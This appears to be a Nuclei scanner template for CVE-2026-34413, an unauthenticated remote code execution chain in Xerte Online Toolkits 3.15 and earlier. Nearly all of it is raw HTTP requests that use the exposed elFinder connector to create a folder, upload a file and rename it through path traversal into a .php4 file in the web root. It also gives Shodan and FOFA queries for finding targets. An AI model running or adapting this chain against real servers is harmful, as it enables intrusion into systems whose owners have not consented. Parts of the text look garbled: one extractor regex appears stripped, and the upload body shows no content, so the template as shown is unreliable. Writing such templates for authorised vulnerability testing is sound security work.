id: CVE-2026-34413
info:
name: Xerte Online Toolkits <= 3.15 - Remote Code Execution
author: Aryu-RU
severity: critical
description: |
Xerte Online Toolkits versions 3.15 and earlier expose the elFinder file manager connector at /editor/elfinder/php/connector.php without authentication (CVE-2026-34413), because the access-control redirect for unauthenticated users does not call exit()/die() and execution continues server-side. This is chained with a relative path traversal in the elFinder rename command (CVE-2026-34414) and an incomplete file-extension blocklist that still permits .php4 (CVE-2026-34415) to write an attacker-controlled PHP file into the application root, resulting in unauthenticated remote code execution.
impact: |
An unauthenticated attacker can execute arbitrary PHP code on the server hosting Xerte Online Toolkits.
remediation: |
Update to a fixed release. The fix, which adds exit() after the access-control redirect and sanitizes elFinder file names, was backported to the 3.13, 3.14 and 3.15 branches.
reference:
- https://www.vulncheck.com/advisories/xerte-online-toolkits-missing-authentication-via-connector-php
- https://github.com/bootstrapbool/xerteonlinetoolkits-rce
- https://github.com/thexerteproject/xerteonlinetoolkits/issues/1527
- https://nvd.nist.gov/vuln/detail/CVE-2026-34413
- https://nvd.nist.gov/vuln/detail/CVE-2026-34414
- https://nvd.nist.gov/vuln/detail/CVE-2026-34415
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-34413
epss-score: 0.0311
epss-percentile: 0.86402
cwe-id: CWE-306
metadata:
verified: true
vendor: xerte
product: xerte_online_toolkits
shodan-query: http.title:"Xerte Online Toolkits"
fofa-query: title="Xerte Online Toolkits"
tags: cve,cve2026,xerte,elfinder,rce,unauth,intrusive,file-upload
variables:
num: "999999999"
rand: "{{rand_text_alpha(8)}}"
flow: |
http(1);
if (template["webroot"]) {
http(2);
if (template["authbypass"]) {
for (let pid = 1; pid <= 30; pid++) {
set("pid", pid);
http(3);
http(4);
http(5);
if (http(6)) {
break;
}
}
}
}
http:
- raw:
- |
GET /setup/ HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: webroot
part: body
group: 1
regex:
- '([^<]+)'
internal: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "Welcome to Xerte Online Toolkits Installer")'
condition: and
internal: true
- raw:
- |
GET /editor/elfinder/php/connector.php HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: authbypass
part: body
regex:
- "Invalid upload location"
internal: true
matchers:
- type: dsl
dsl:
- 'status_code == 302'
- 'contains(body, "Invalid upload location")'
condition: and
internal: true
- raw:
- |
GET /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/&cmd=mkdir&name={{rand}}{{pid}}&target=l1_Lw HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 302'
- 'contains_all(body, "added", "hash", "name")'
condition: and
internal: true
- raw:
- |
POST /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/ HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----xerteboundary
------xerteboundary
Content-Disposition: form-data; name="cmd"
upload
------xerteboundary
Content-Disposition: form-data; name="target"
l1_Lw
------xerteboundary
Content-Disposition: form-data; name="upload[]"; filename="{{rand}}{{pid}}.txt"
Content-Type: text/plain
------xerteboundary--
extractors:
- type: regex
name: fileid
part: body
group: 1
regex:
- '"hash":"(l1_[^"]+)"'
internal: true
matchers:
- type: dsl
dsl:
- 'status_code == 302'
- 'contains_all(body, "added", "hash", "name")'
condition: and
internal: true
- raw:
- |
GET /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/&cmd=rename&target={{fileid}}&name={{rand}}{{pid}}/../../../../{{rand}}{{pid}}.php4 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 302'
internal: true
- raw:
- |
GET /{{rand}}{{pid}}.php4 HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "c8c605999f3d8352d7bb792cf3fdb25b")'
condition: and
# digest: 490a0046304402207b1352e4e082a10393e3c2b72e812be47a23246ad4074f4812a20861cec52225022033ca5fef8c8b8df5282e065c487051db5bc58978bf9e5e47f5beaaa2110a091d:922c64590222798bb761d5b6d8e72950